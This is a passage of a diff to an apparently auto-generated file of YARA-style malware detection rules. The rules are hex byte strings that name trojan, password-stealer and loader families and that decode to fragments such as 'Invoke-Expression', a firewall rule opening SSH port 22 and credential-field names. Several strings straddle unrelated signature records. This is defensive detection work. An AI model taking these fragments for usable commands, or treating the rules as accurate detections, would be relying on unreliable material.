3a 55 53 45 52 4e 41 4d 45 3b 20 49 6e 76 6f 6b 65 2d 45 78 70 72 65 73 73 69 6f 6e 20 22 26 01 00 0e 01 53 74 61 72 74 75 70 5f 73 73 68 2e 72 73 00 00 78 b7 } //14915 + $a_00_2 = {03 00 03 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_55_1 & 1)*14915+(#a_00_2 & 1)*0) >=3 + +} +rule _InfrastructureShared_13525{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141938,7 +151338,7 @@ rule _InfrastructureShared_12697{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*26227+(#a_4a_2 & 1)*12851) >=3 } -rule _InfrastructureShared_12698{ +rule _InfrastructureShared_13526{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -141950,7 +151350,7 @@ rule _InfrastructureShared_12698{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*115+(#a_6e_2 & 1)*22330) >=3 } -rule _InfrastructureShared_12699{ +rule _InfrastructureShared_13527{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -141962,7 +151362,7 @@ rule _InfrastructureShared_12699{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*115+(#a_23_2 & 1)*2) >=3 } -rule _InfrastructureShared_12700{ +rule _InfrastructureShared_13528{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -141973,7 +151373,19 @@ rule _InfrastructureShared_12700{ ((#a_4c_0 & 1)*21539+(#a_04_1 & 1)*-28651) >=4 } -rule _InfrastructureShared_12701{ +rule _InfrastructureShared_13529{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 47 72 65 65 64 79 42 61 6e 64 69 74 2e 43 21 64 68 61 00 01 00 29 01 66 69 72 65 77 61 6c 6c 20 61 64 64 20 72 75 6c 65 20 6e 61 6d 65 3d 22 4f 70 65 6e 20 53 53 48 20 50 6f 72 74 20 32 32 } //16675 + $a_69_2 = {6e 3d 61 6c 6c 6f 77 20 70 72 6f 74 6f 63 6f 6c 3d 54 43 50 20 6c 6f 63 61 6c 70 6f 72 74 3d 32 32 20 72 65 6d 6f 74 65 69 70 3d 61 6e 79 01 00 0f 01 53 74 61 72 74 75 70 5f 73 73 68 64 2e 72 73 01 00 0e 01 2d 43 6f 6d 6d 61 6e 64 46 61 69 6c 65 64 00 00 78 b7 00 00 04 00 04 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 45 6f 72 65 7a 6f 5f } //25441 + $a_72_3 = {70 74 6f 72 2e 41 31 00 01 00 1e 01 67 65 74 5f 45 6e 74 72 79 50 6f 69 6e 74 00 44 65 63 72 79 70 74 00 43 6f 6e 76 65 72 74 01 00 1b 01 67 65 74 5f 55 54 46 38 00 3c 4d 6f 64 75 6c 65 3e 00 67 65 74 5f 41 53 43 49 49 01 00 1c 03 45 78 65 63 75 74 65 00 42 79 74 65 00 76 61 6c 75 65 00 90 02 10 } //25924 + condition: + ((#a_46_0 & 1)*16675+(#a_69_2 & 1)*25441+(#a_72_3 & 1)*25924) >=4 + +} +rule _InfrastructureShared_13530{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -141986,7 +151398,7 @@ rule _InfrastructureShared_12701{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*28493+(#a_4c_2 & 1)*8993+(#a_61_3 & 1)*27749) >=4 } -rule _InfrastructureShared_12702{ +rule _InfrastructureShared_13531{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -141999,7 +151411,7 @@ rule _InfrastructureShared_12702{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*12083+(#a_32_2 & 1)*28265+(#a_73_3 & 1)*28274) >=4 } -rule _InfrastructureShared_12703{ +rule _InfrastructureShared_13532{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -142012,7 +151424,7 @@ rule _InfrastructureShared_12703{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25970+(#a_6c_2 & 1)*18223+(#a_72_3 & 1)*30318) >=4 } -rule _InfrastructureShared_12704{ +rule _InfrastructureShared_13533{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -142024,7 +151436,7 @@ rule _InfrastructureShared_12704{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*29953+(#a_6e_2 & 1)*22330) >=4 } -rule _InfrastructureShared_12705{ +rule _InfrastructureShared_13534{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -142037,7 +151449,7 @@ rule _InfrastructureShared_12705{ ((#a_46_0 & 1)*16675+(#a_70_2 & 1)*29733+(#a_3a_3 & 1)*28527+(#a_2e_4 & 1)*24933) >=4 } -rule _InfrastructureShared_12706{ +rule _InfrastructureShared_13535{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -142051,7 +151463,7 @@ rule _InfrastructureShared_12706{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*26977+(#a_52_2 & 1)*21320+(#a_65_3 & 1)*25902+(#a_00_4 & 1)*97) >=4 } -rule _InfrastructureShared_12707{ +rule _InfrastructureShared_13536{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -142065,7 +151477,7 @@ rule _InfrastructureShared_12707{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*12133+(#a_6e_2 & 1)*384+(#a_61_3 & 1)*28530+(#a_67_4 & 1)*17780) >=4 } -rule _InfrastructureShared_12708{ +rule _InfrastructureShared_13537{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -142073,38 +151485,42 @@ rule _InfrastructureShared_12708{ $a_46_0 = {45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 6f 6f 6e 74 61 72 74 73 2e 41 21 64 68 61 00 01 00 12 01 64 6e 73 5f 64 6f 77 6e 6c 6f 61 64 65 72 2e 64 6c 6c 01 00 2d 01 73 6f 66 74 77 61 72 65 5c 6d 69 63 72 6f 73 6f 66 74 } //16675 $a_6e_1 = {6f 77 73 5c 63 75 72 72 65 6e 74 76 65 72 73 69 6f 6e 5c 72 75 6e 01 00 13 01 4d 69 63 72 6f 73 6f 66 74 45 64 67 65 55 70 64 61 74 65 01 00 0c 01 53 6d 61 64 48 6f 6f 6b 2e 64 6c 6c 01 00 17 03 80 e9 41 80 f9 19 77 90 01 01 8a d5 80 ea 41 8a c5 2c 32 3c 05 90 00 00 00 78 b7 00 00 04 00 04 00 05 00 21 23 42 4d 5f } //30556 $a_63_2 = {79 3a 50 61 73 73 77 6f 72 64 46 6f 78 00 02 00 0f 01 50 61 73 73 77 6f 72 64 46 6f 78 2e 70 64 62 01 00 07 81 01 4e 69 72 53 6f 66 74 01 00 2c 01 46 00 69 00 72 00 65 00 66 00 6f 00 78 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 73 00 20 00 4c 00 69 00 73 00 74 00 01 00 } //21569 - $a_00_3 = {61 00 73 00 74 00 65 00 72 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3a 00 01 00 20 01 70 61 73 73 77 6f 72 64 46 69 65 6c 64 2c 20 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 00 00 78 b7 00 00 05 00 05 00 03 } //288 - $a_54_4 = {4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6f 73 77 6b 2e 50 47 4e 21 4d 54 42 00 01 00 60 80 01 59 55 } //8448 + $a_00_3 = {61 00 73 00 74 00 65 00 72 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3a 00 01 00 20 01 70 61 73 73 77 6f 72 64 46 69 65 6c 64 2c 20 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 00 00 78 b7 00 00 04 00 04 00 06 } //288 + $a_41_4 = {46 3a 42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b } //8448 F:BrowserModifier:MSIL/MediaArena.K condition: - ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30556+(#a_63_2 & 1)*21569+(#a_00_3 & 1)*288+(#a_54_4 & 1)*8448) >=4 + ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*30556+(#a_63_2 & 1)*21569+(#a_00_3 & 1)*288+(#a_41_4 & 1)*8448) >=4 } -rule _InfrastructureShared_12709{ +rule _InfrastructureShared_13538{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " strings : $a_5f_0 = {54 5f 63 72 79 3a 50 61 73 73 77 6f 72 64 46 6f 78 00 02 00 0f 01 50 61 73 73 77 6f 72 64 46 6f 78 2e 70 64 62 01 00 07 81 01 4e 69 72 53 6f 66 74 01 00 2c 01 46 00 69 00 72 00 65 00 66 00 6f 00 78 00 20 00 50 00 61 00 73 00 73 00 } //16931 - $a_00_1 = {72 00 64 00 73 00 20 00 4c 00 69 00 73 00 74 00 01 00 20 01 4d 00 61 00 73 00 74 00 65 00 72 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3a 00 01 00 20 01 70 61 73 73 77 6f 72 64 46 69 65 6c 64 2c 20 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 00 00 78 b7 00 00 05 00 05 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 } //119 - $a_53_2 = {4c 2f 4e 6f 73 77 6b 2e 50 47 4e 21 4d 54 42 00 01 00 60 80 01 59 55 68 53 4d 47 4e 49 54 54 5a 4d 65 54 6c 76 59 54 4e 57 4d 55 78 74 4f 58 70 6a 65 54 46 71 59 6d 6b 78 62 32 49 79 4e 57 35 68 4d 6a 6c 31 57 6e 6b 31 61 47 4a 48 } //14958 - $a_6b_3 = {7a 56 71 59 33 6b 31 61 6d 49 79 4d 48 5a 53 62 57 77 30 54 44 42 61 63 47 56 44 4e 54 42 6c 53 46 45 39 02 00 11 01 44 65 6f 62 66 75 73 63 61 74 65 53 74 72 69 6e 67 02 00 11 01 44 65 63 6f 64 65 42 61 73 65 36 34 54 6f 55 72 6c 00 00 78 b7 00 00 05 00 05 } //17506 + $a_00_1 = {72 00 64 00 73 00 20 00 4c 00 69 00 73 00 74 00 01 00 20 01 4d 00 61 00 73 00 74 00 65 00 72 00 20 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3a 00 01 00 20 01 70 61 73 73 77 6f 72 64 46 69 65 6c 64 2c 20 65 6e 63 72 79 70 74 65 64 55 73 65 72 6e 61 6d 65 00 00 78 b7 00 00 04 00 04 00 06 00 21 23 41 4c 46 3a 42 72 6f 77 73 } //119 + $a_6f_2 = {69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 32 00 01 00 10 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 65 78 65 01 00 13 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 43 6f 6d 6d 6f 6e 01 00 15 80 01 } //29285 + $a_6e_3 = {75 67 68 54 72 61 79 2e 53 65 72 76 69 63 65 73 01 00 17 80 01 64 45 6e 6f 75 67 68 54 72 61 79 2e 67 2e 72 65 73 6f 75 72 63 65 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 } //25665 + $a_6c_4 = {65 78 65 00 00 78 b7 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 44 75 74 64 72 69 76 65 72 00 01 00 0d 81 01 44 55 54 44 72 69 76 65 72 2e 65 78 65 01 00 1a 81 01 44 55 54 44 72 69 76 65 72 2e 43 61 70 74 75 72 65 54 6f 6f 6c 2e 4c 44 50 4d 01 00 26 81 01 5c 44 55 54 44 72 69 76 65 72 5c 6f 62 6a 5c 78 36 } //24948 condition: - ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*119+(#a_53_2 & 1)*14958+(#a_6b_3 & 1)*17506) >=4 + ((#a_5f_0 & 1)*16931+(#a_00_1 & 1)*119+(#a_6f_2 & 1)*29285+(#a_6e_3 & 1)*25665+(#a_6c_4 & 1)*24948) >=4 } -rule _InfrastructureShared_12710{ +rule _InfrastructureShared_13539{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4e 6f 73 77 6b 2e 50 47 4e 21 4d 54 42 00 01 00 60 80 01 59 55 68 53 4d 47 4e 49 54 54 5a 4d 65 54 6c 76 59 54 4e 57 4d 55 78 74 4f 58 70 6a 65 54 46 71 59 6d 6b 78 62 32 } //21539 - $a_57_1 = {68 4d 6a 6c 31 57 6e 6b 31 61 47 4a 48 62 44 56 6b 56 7a 56 71 59 33 6b 31 61 6d 49 79 4d 48 5a 53 62 57 77 30 54 44 42 61 63 47 56 44 4e 54 42 6c 53 46 45 39 02 00 11 01 44 65 6f 62 66 75 73 63 61 74 65 53 74 72 69 6e 67 02 00 11 01 } //31049 - $a_6f_2 = {65 42 61 73 65 36 34 54 6f 55 72 6c 00 00 78 b7 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 73 74 3a 44 75 74 64 72 69 76 65 72 00 01 00 0d 81 01 44 55 54 44 72 69 76 65 72 2e 65 78 65 01 00 1a 81 01 44 55 54 44 72 69 76 65 72 2e 43 61 70 74 75 72 65 54 6f 6f 6c 2e 4c 44 50 4d 01 00 26 81 } //25924 + $a_46_0 = {42 72 6f 77 73 65 72 4d 6f 64 69 66 69 65 72 3a 4d 53 49 4c 2f 4d 65 64 69 61 41 72 65 6e 61 2e 4b 53 38 32 00 01 00 10 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 65 78 65 01 00 13 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e } //16675 + $a_6d_1 = {6e 01 00 15 80 01 41 64 45 6e 6f 75 67 68 54 72 61 79 2e 53 65 72 76 69 63 65 73 01 00 17 80 01 64 45 6e 6f 75 67 68 54 72 61 79 2e 67 2e 72 65 73 6f 75 72 63 65 73 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 b7 00 00 05 00 05 00 05 00 21 23 41 6c 6c 6f 77 4c 69 } //28483 + $a_44_2 = {74 64 72 69 76 65 72 00 01 00 0d 81 01 44 55 54 44 72 69 76 65 72 2e 65 78 65 01 00 1a 81 01 44 55 54 44 72 69 76 65 72 2e 43 61 70 74 75 72 65 54 6f 6f 6c 2e 4c 44 50 4d 01 } //29811 + $a_01_3 = {5c 44 55 54 44 72 69 76 65 72 5c 6f 62 6a 5c 78 36 34 5c 44 65 62 75 67 5c 44 55 54 44 72 69 76 65 72 2e 70 64 62 01 00 12 81 01 44 75 74 44 72 69 76 65 72 20 64 69 73 70 6f 73 65 64 01 00 21 81 01 44 55 54 44 72 69 76 65 72 2e 50 72 6f 64 75 63 74 2e 54 72 61 63 65 73 2e 44 61 74 61 4c 6f 73 74 00 00 78 b7 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c } //9728 + $a_65_4 = {74 54 65 73 6c 61 2e 41 4d 4d 51 33 33 34 21 4d 54 42 00 01 00 30 81 01 44 69 72 65 63 74 6f 72 79 20 79 6f 75 20 77 61 68 68 68 68 68 68 68 6e 74 20 74 6f 20 64 65 6c 65 74 65 20 69 73 20 6e 6f 74 20 65 78 69 73 74 01 00 1f 81 01 43 3a 5c 73 6f 67 67 73 73 73 73 73 67 67 67 67 67 67 67 6d 65 64 69 72 65 63 } //16687 + $a_79_5 = {01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 05 81 01 53 6c 65 65 70 01 00 09 81 01 42 6c 6f 63 6b 43 6f 70 79 00 00 78 b7 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 56 4e 4e 30 31 21 4d 54 42 00 01 00 1a 81 01 67 72 69 6d 6d 65 72 65 20 69 73 65 6e 67 } //28532 condition: - ((#a_4c_0 & 1)*21539+(#a_57_1 & 1)*31049+(#a_6f_2 & 1)*25924) >=5 + ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*28483+(#a_44_2 & 1)*29811+(#a_01_3 & 1)*9728+(#a_65_4 & 1)*16687+(#a_79_5 & 1)*28532) >=4 } -rule _InfrastructureShared_12711{ +rule _InfrastructureShared_13540{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -142118,7 +151534,7 @@ rule _InfrastructureShared_12711{ ((#a_6c_0 & 1)*16675+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_b7_3 & 1)*0+(#a_67_4 & 1)*26471) >=5 } -rule _InfrastructureShared_12712{ +rule _InfrastructureShared_13541{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -142132,7 +151548,7 @@ rule _InfrastructureShared_12712{ ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*25888+(#a_4e_2 & 1)*11890+(#a_74_3 & 1)*25089+(#a_65_4 & 1)*24929) >=5 } -rule _InfrastructureShared_12713{ +rule _InfrastructureShared_13542{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -142145,7 +151561,7 @@ rule _InfrastructureShared_12713{ ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*26473+(#a_32_2 & 1)*28265+(#a_70_3 & 1)*25972) >=5 } -rule _InfrastructureShared_12714{ +rule _InfrastructureShared_13543{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -142159,7 +151575,7 @@ rule _InfrastructureShared_12714{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*30821+(#a_33_2 & 1)*26967+(#a_6c_3 & 1)*-32485+(#a_6f_4 & 1)*29285) >=5 } -rule _InfrastructureShared_12715{ +rule _InfrastructureShared_13544{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -142173,7 +151589,7 @@ rule _InfrastructureShared_12715{ ((#a_54_0 & 1)*18467+(#a_49_1 & 1)*29295+(#a_72_2 & 1)*25703+(#a_6c_3 & 1)*26952+(#a_64_4 & 1)*25459) >=5 } -rule _InfrastructureShared_12716{ +rule _InfrastructureShared_13545{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -142187,7 +151603,7 @@ rule _InfrastructureShared_12716{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_b7_4 & 1)*0) >=5 } -rule _InfrastructureShared_12717{ +rule _InfrastructureShared_13546{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -142202,7 +151618,7 @@ rule _InfrastructureShared_12717{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*2050+(#a_61_2 & 1)*30054+(#a_5f_3 & 1)*20302+(#a_01_4 & 1)*1+(#a_b7_5 & 1)*0) >=5 } -rule _InfrastructureShared_12718{ +rule _InfrastructureShared_13547{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 06 00 21 " @@ -142217,7 +151633,7 @@ rule _InfrastructureShared_12718{ ((#a_46_0 & 1)*16675+(#a_25_1 & 1)*9728+(#a_62_2 & 1)*26740+(#a_41_3 & 1)*26465+(#a_72_4 & 1)*25445+(#a_61_5 & 1)*13617) >=5 } -rule _InfrastructureShared_12719{ +rule _InfrastructureShared_13548{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 05 00 21 " @@ -142231,7 +151647,7 @@ rule _InfrastructureShared_12719{ ((#a_46_0 & 1)*21283+(#a_78_1 & 1)*20791+(#a_00_2 & 1)*25976+(#a_65_3 & 1)*20225+(#a_00_4 & 1)*25976) >=6 } -rule _InfrastructureShared_12720{ +rule _InfrastructureShared_13549{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -142245,22 +151661,37 @@ rule _InfrastructureShared_12720{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*266+(#a_00_3 & 1)*6+(#a_54_4 & 1)*21076+(#a_62_5 & 1)*13101) >=6 } -rule _InfrastructureShared_12721{ +rule _InfrastructureShared_13550{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 53 33 38 21 4d 54 42 00 01 00 24 81 01 35 32 34 34 30 65 36 38 2d 62 34 33 36 2d 34 61 61 36 2d 61 31 66 37 2d 33 33 62 32 35 39 33 62 63 66 31 30 01 00 18 81 01 46 38 66 43 } //18467 $a_4c_1 = {50 46 4c 39 56 51 38 30 6e 47 7a 2b 67 3d 3d 01 00 0c 81 01 52 42 72 55 6f 66 2b 59 6b 48 45 3d 01 00 0e 81 01 4a 75 6f 6f 77 78 79 6b 2e 56 71 74 74 68 01 00 05 81 01 4b } //18275 - $a_71_2 = {00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b7 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 4a 31 32 33 21 4d 54 42 00 01 00 09 81 01 6e 6f 63 74 75 72 6e 61 6c 01 00 0e 81 01 63 69 72 6b 75 73 6d 61 6e 65 67 65 6e 73 01 00 1f 81 01 70 69 6c 6f 74 65 72 } //28517 - $a_73_3 = {6a 6f 69 6e 74 79 20 62 69 6c 61 67 73 62 69 6e 64 65 74 01 00 19 81 01 72 65 70 75 74 61 62 6c 79 20 69 6e 73 74 72 75 6b 74 69 76 65 2e 65 78 65 01 00 13 81 01 69 73 63 72 65 6d 65 72 6e 65 20 68 6f 6d 65 62 6f 72 6e 01 00 0d 81 01 42 65 72 75 73 65 72 6e 65 73 32 34 30 00 00 78 b7 00 00 07 00 07 00 03 00 } //28265 - $a_53_4 = {52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 73 63 68 2e 41 00 05 00 28 03 c1 e0 04 02 82 a8 00 00 00 66 8c e9 66 85 c9 74 90 01 01 04 08 90 09 0d 00 64 8b 15 30 00 00 00 8b 82 a4 00 00 00 90 00 02 00 32 03 3c } //8993 - $a_3c_5 = {74 35 3c 60 74 1e 3c 61 74 1e 3c 62 74 1e 3c 5a 74 30 3c 68 74 30 3c 69 74 36 3c 6a 74 46 90 02 40 b0 } //29777 + $a_71_2 = {00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 00 00 78 b7 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 52 30 31 21 4d 54 42 00 01 00 1e 81 01 72 65 64 61 6d 61 67 69 6e 67 20 73 69 6b 6b 65 72 68 65 64 73 61 66 64 6b 6e 69 6e 67 73 01 00 10 81 01 66 6f 72 66 61 74 6e } //28517 + $a_73_3 = {72 75 64 73 01 00 13 81 01 74 61 72 6d 65 6e 65 73 20 6b 6f 6e 66 6f 72 6d 65 72 65 01 00 11 81 01 6f 73 63 20 73 75 6c 66 75 72 79 6c 73 2e 65 78 65 01 00 0a 81 01 65 72 72 61 74 69 63 69 73 6d 01 00 15 81 01 67 72 65 61 73 65 70 72 6f 6f 66 6e 65 73 73 20 6f 6d 62 6a 65 00 00 78 b7 00 00 06 00 06 00 06 00 } //28265 + $a_53_4 = {52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 4a 31 32 33 21 4d 54 42 00 01 00 09 81 01 6e 6f 63 74 75 72 6e 61 6c 01 00 0e 81 01 63 69 72 6b 75 73 6d 61 6e 65 67 65 6e 73 01 00 1f 81 01 70 69 6c 6f 74 } //8993 + $a_6e_5 = {73 20 6a 6f 69 6e 74 79 20 62 69 6c 61 67 73 62 69 6e 64 65 74 01 00 19 81 01 72 65 70 75 74 61 62 6c 79 20 69 6e 73 74 72 75 6b 74 69 76 65 2e 65 78 65 01 00 13 81 01 69 73 63 72 65 6d 65 72 6e 65 20 68 6f 6d 65 62 6f 72 6e 01 00 0d 81 01 42 65 72 75 73 65 72 6e 65 73 32 34 30 00 00 78 b7 00 00 07 00 07 00 03 00 } //29285 condition: - ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*18275+(#a_71_2 & 1)*28517+(#a_73_3 & 1)*28265+(#a_53_4 & 1)*8993+(#a_3c_5 & 1)*29777) >=6 + ((#a_54_0 & 1)*18467+(#a_4c_1 & 1)*18275+(#a_71_2 & 1)*28517+(#a_73_3 & 1)*28265+(#a_53_4 & 1)*8993+(#a_6e_5 & 1)*29285) >=6 } -rule _InfrastructureShared_12722{ +rule _InfrastructureShared_13551{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 52 30 31 21 4d 54 42 00 01 00 1e 81 01 72 65 64 61 6d 61 67 69 6e 67 20 73 69 6b 6b 65 72 68 65 64 73 61 66 64 6b 6e 69 6e 67 73 01 00 10 81 01 66 6f 72 66 61 74 6e 69 6e 67 73 62 72 75 64 73 01 } //18467 + $a_01_1 = {74 61 72 6d 65 6e 65 73 20 6b 6f 6e 66 6f 72 6d 65 72 65 01 00 11 81 01 6f 73 63 20 73 75 6c 66 75 72 79 6c 73 2e 65 78 65 01 00 0a 81 01 65 72 72 61 74 69 63 69 73 6d 01 00 15 81 01 67 72 65 61 73 65 70 72 6f 6f 66 6e 65 73 73 20 6f 6d 62 6a 65 00 00 78 b7 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 4a 31 32 33 21 4d 54 42 00 01 } //4864 + $a_01_2 = {6e 6f 63 74 75 72 6e 61 6c 01 00 0e 81 01 63 69 72 6b 75 73 6d 61 6e 65 67 65 6e 73 01 00 1f 81 01 70 69 6c 6f 74 65 72 69 6e 67 73 20 6a 6f 69 6e 74 79 20 62 69 6c 61 67 73 62 69 6e 64 65 74 01 00 19 81 01 72 65 70 75 74 61 62 6c 79 20 69 6e 73 74 72 75 6b 74 69 76 65 2e 65 78 65 01 00 13 81 01 69 73 63 72 65 6d 65 72 6e 65 20 68 6f 6d 65 62 6f 72 6e 01 00 0d 81 01 42 65 72 75 73 65 } //2304 + $a_73_3 = {34 30 00 00 78 b7 00 00 07 00 07 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 54 65 73 63 68 2e 41 00 05 00 28 03 c1 e0 04 02 82 a8 00 00 00 66 8c e9 66 85 c9 74 90 01 01 04 08 90 09 0d 00 64 8b 15 30 00 00 00 8b 82 a4 00 00 00 90 00 02 00 32 03 3c 51 74 22 3c 52 74 35 3c 60 74 } //28274 + $a_74_4 = {3c 62 74 1e 3c 5a 74 30 3c 68 74 30 3c 69 74 36 3c 6a 74 46 90 02 40 b0 27 ba 00 03 fe 7f ff 12 90 00 02 00 2d 03 58 68 6c 02 00 00 ff e0 90 09 16 00 3c 51 74 90 01 01 3c 52 74 90 01 01 3c 60 74 90 01 01 3c 5a 74 90 01 01 3c 68 74 90 01 01 eb 90 00 00 00 78 b7 00 00 07 00 07 00 07 00 21 23 } //15390 + $a_3a_5 = {32 56 3a 5f 4b 65 76 69 6e 5f 42 72 65 65 6e 5f 6b 65 76 69 6e 5f 74 65 63 68 61 6e 61 72 63 68 79 5f 6e 65 74 5f 2f 50 75 6e 69 73 68 65 72 00 01 00 06 01 61 62 63 63 62 61 01 00 0f 01 5c 00 68 00 66 00 68 00 } //19521 + condition: + ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*4864+(#a_01_2 & 1)*2304+(#a_73_3 & 1)*28274+(#a_74_4 & 1)*15390+(#a_3a_5 & 1)*19521) >=6 + +} +rule _InfrastructureShared_13552{ meta: description = 